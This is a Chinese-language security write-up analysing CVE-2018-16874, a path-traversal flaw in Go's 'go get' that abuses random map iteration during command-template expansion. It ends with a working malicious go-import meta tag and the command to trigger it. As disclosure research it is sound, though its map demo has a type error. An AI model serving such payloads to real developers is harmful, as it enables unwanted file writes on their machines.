作者:ztz
來源:https://projectsharp.org/2019/05/26/go-get-v-cve-2018-16874/
這是一篇拖了很久的文
起因是某次給 godoc.org 提交 RCE 后,突然好奇起同樣機制的 go get 會不會也存在相似的洞
于是便開始分析 go get 的內部實現,沒想到意外的在另一處發現了一個有意思的洞
開始
go get 會根據 import path 獲取指定依賴包到本地,對其進行編譯和安裝,如:
$ go get github.com/jmoiron/sqlx
go get 大概邏輯是這樣(對應代碼在 src/cmd/go/internal/get 我懶得貼了):
- 解析
import path,判斷是否為已知托管平臺(Github、Bitbucket 等) - 若目標依賴位于已知平臺,調用寫死的規則去解析
- 若目標依賴位于未知站點,就動態解析
而根據官方文檔,如果 import path 未知,go 會嘗試解析遠程 import path 的 <meta> 標簽:
If the import path is not a known code hosting site and also lacks a version control qualifier, the go tool attempts to fetch the import over https/http and looks for a tag in the document’s HTML
合法的 <meta> 標簽格式為:
<meta name="go-import" content="import-prefix vcs repo-root">
各字段含義如下:
import-prefix表示import path的倉庫根地址,當頁面出現多個go-import標簽時go就靠這個字段選擇正確的標簽vcs表示使用的版本控制系統如git,hg等repo-root表示倉庫地址
Go 解析到正確的標簽后,會做一些校驗,其中一個是 import-prefix 必須是用戶輸入的 import path 的前綴,這個校驗使我直接打消了在 import-prefix 中插入 ../ 的想法(這是之前 godoc 那個洞的思路)
然后根據 vcs 代表的版本控制系統生成對應的實例:
rr := &repoRoot{
vcs: vcsByCmd(metaImport.VCS),
repo: metaImport.RepoRoot,
root: metaImport.Prefix,
}
每種不同的實例都擁有統一的接口方法
type vcsCmd struct {
name string
cmd string // name of binary to invoke command
createCmd string // command to download a fresh copy of a repository
downloadCmd string // command to download updates into an existing repository
tagCmd []tagCmd // commands to list tags
tagLookupCmd []tagCmd // commands to lookup tags before running tagSyncCmd
tagSyncCmd string // command to sync to specific tag
tagSyncDefault string // command to sync to default tag
scheme []string
pingCmd string
}
命令按照功能劃分,具體執行的命令由底下的實例自己填充,如 git:
var vcsGit = &vcsCmd{
name: "Git",
cmd: "git",
createCmd: "clone {repo} {dir}",
downloadCmd: "fetch",
tagCmd: []tagCmd{
// tags/xxx matches a git tag named xxx
// origin/xxx matches a git branch named xxx on the default remote repository
{"show-ref", `(?:tags|origin)/(\S+)$`},
},
tagLookupCmd: []tagCmd{
{"show-ref tags/{tag} origin/{tag}", `((?:tags|origin)/\S+)$`},
},
tagSyncCmd: "checkout {tag}",
tagSyncDefault: "checkout origin/master",
scheme: []string{"git", "https", "http", "git+ssh"},
pingCmd: "ls-remote {scheme}://{repo}",
}
拿到實例后, Go 將其中的 import-prefix, vcs, repo-root 取出后:
rr, err := repoRootForImportPath(p.ImportPath)
if err != nil {
return err
}
vcs, repo, rootPath = rr.vcs, rr.repo, rr.root
直接交給實例 vcs 執行創建操作:
root := filepath.Join(p.Internal.Build.SrcRoot, filepath.FromSlash(rootPath))
if err = vcs.create(root, repo); err != nil {
return err
}
vcs.create` 的目的是將遠端 `repo` 克隆到本地 `root` 中,實現方法是調用 `vcs` 的 `createCmd
func (v *vcsCmd) create(dir, repo string) error {
return v.run(".", v.createCmd, "dir", dir, "repo", repo)
}
func (v *vcsCmd) run(dir string, cmd string, keyval ...string) error {
_, err := v.run1(dir, cmd, keyval, true)
return err
}
前面說了,命令是每個實例自己負責填充的,Go 在這里自己實現了一套模版機制,它將命令看作模版,具體執行時,只要把模版里的變量和實際變量進行一次替換即可方便的生成命令,如 git 的 clone 命令:
createCmd: "clone {repo} {dir}",
替換方法是簡單的 for 遍歷替換:
func expand(match map[string]string, s string) string {
for k, v := range match {
s = strings.Replace(s, "{"+k+"}", v, -1)
}
return s
}
命令執行是用 os.exec 直接將參數傳給可執行文件,不存在參數污染的可能。
我只能把注意力放在表示克隆路徑上,克隆的路徑其實就是 <meta> 標簽里的 import-prefix,前面也說了,import-prefix 必須是用戶輸入 import-path 前綴,非但我不可能讓用戶輸入 go get http://foo.bar/../../,Go 也不允許 import-path 里出現非法字符,所以這里沒什么操控空間。
也就是說 <meta> 標簽里的三個可控字段都不好利用。
轉機
當我正要放棄時,突然想到了 go map 隨機遍歷的特性, map 結構在底層的實現是 HashTable,key 的存儲是無序的,所以在使用 map 時,key-value 的存入順序和遍歷順序并不一致。
由于擔心用戶過于依賴 map 遍歷的順序,官方特意對 map 的遍歷做了隨機化處理,每次 map 進行遍歷操作的順序都不一樣,Andrew Gerrand 在官方博客 https://blog.golang.org/go-maps-in-action 里詳細說明了這一點:
When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next. Since the release of Go 1.0, the runtime has randomized map iteration order. Programmers had begun to rely on the stable iteration order of early versions of Go, which varied between implementations, leading to portability bugs. If you require a stable iteration order you must maintain a separate data structure that specifies that order. This example uses a separate sorted slice of keys to print a
map[int]stringin key order:
簡單寫一個 map 遍歷的程序來測試:
package main
import "fmt"
func main() {
foobar := map[string]int{
"foo": "foo",
"bar": "bar",
}
for k, v := range foobar {
fmt.Println(k, ": ", v)
}
}
這是一個簡單的 map 遍歷代碼,如果反復運行該程序,看到的輸出順序是這樣的:
$ go run random_map.go
bar : bar
foo : foo
$ go run random_map.go
foo : foo
bar : bar
$ go run random_map.go
foo : foo
bar : bar
輸出順序是隨機的,這種隨機亂序遍歷為我提供了絕處逢生的可能,如果命令模版在變量替換的過程中以我希望的順序進行,我就可以配合模版變量搞一波事:
func expand(match map[string]string, s string) string {
for k, v := range match {
s = strings.Replace(s, "{"+k+"}", v, -1)
}
return s
}
其中
match中的key為模版變量,value為實際值,當前是{"dir": import-prefix, "repo": repo-root}s是命令模版clone {repo} {dir}
我若在 import-prefix 中放入 {repo},比如 https://foo.com/bar/{repo},再在 repo 里插入我的字符:https://foo.com/bar/../../../../../../../../../../tmp/pwn,形成這樣一個 match:
{
"dir": "https://foo.com/bar/{repo}",
"repo": "https://foo.com/bar/../../tmp/pwn"
}
依靠 map 亂序遍歷特性,找機會讓 expand 先遍歷替換 {dir} 再替換 {repo},就可以得到如下結果:
- 先替換
{dir}得到clone {repo} https://foo.com/bar/{repo} - 再替換
{repo}得到clone https://foo.com/bar/../../tmp/pwn https://foo.com/bar/https://foo.com/bar/../../tmp/pwn
這么一來 ../ 便被引入到了克隆目標路徑里,一個艱難的任意目錄寫就出現了,利用 ../ 可以進一步擴大戰果,但這不是本篇的重點,就不贅述了。
利用
在自己的 web 服務器上設置返回以下內容:
<!DOCTYPE html>
<html>
<head>
<meta name="go-import" content="ztz.me/linux/{repo} git https://ztz.me/../../../../../../../../../../tmp/pwn"/>
</head>
</html>
然后多次運行 go get ztz.me/linux/{repo} 就可以在人品爆發時觸發利用(多試幾次)
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/931/
暫無評論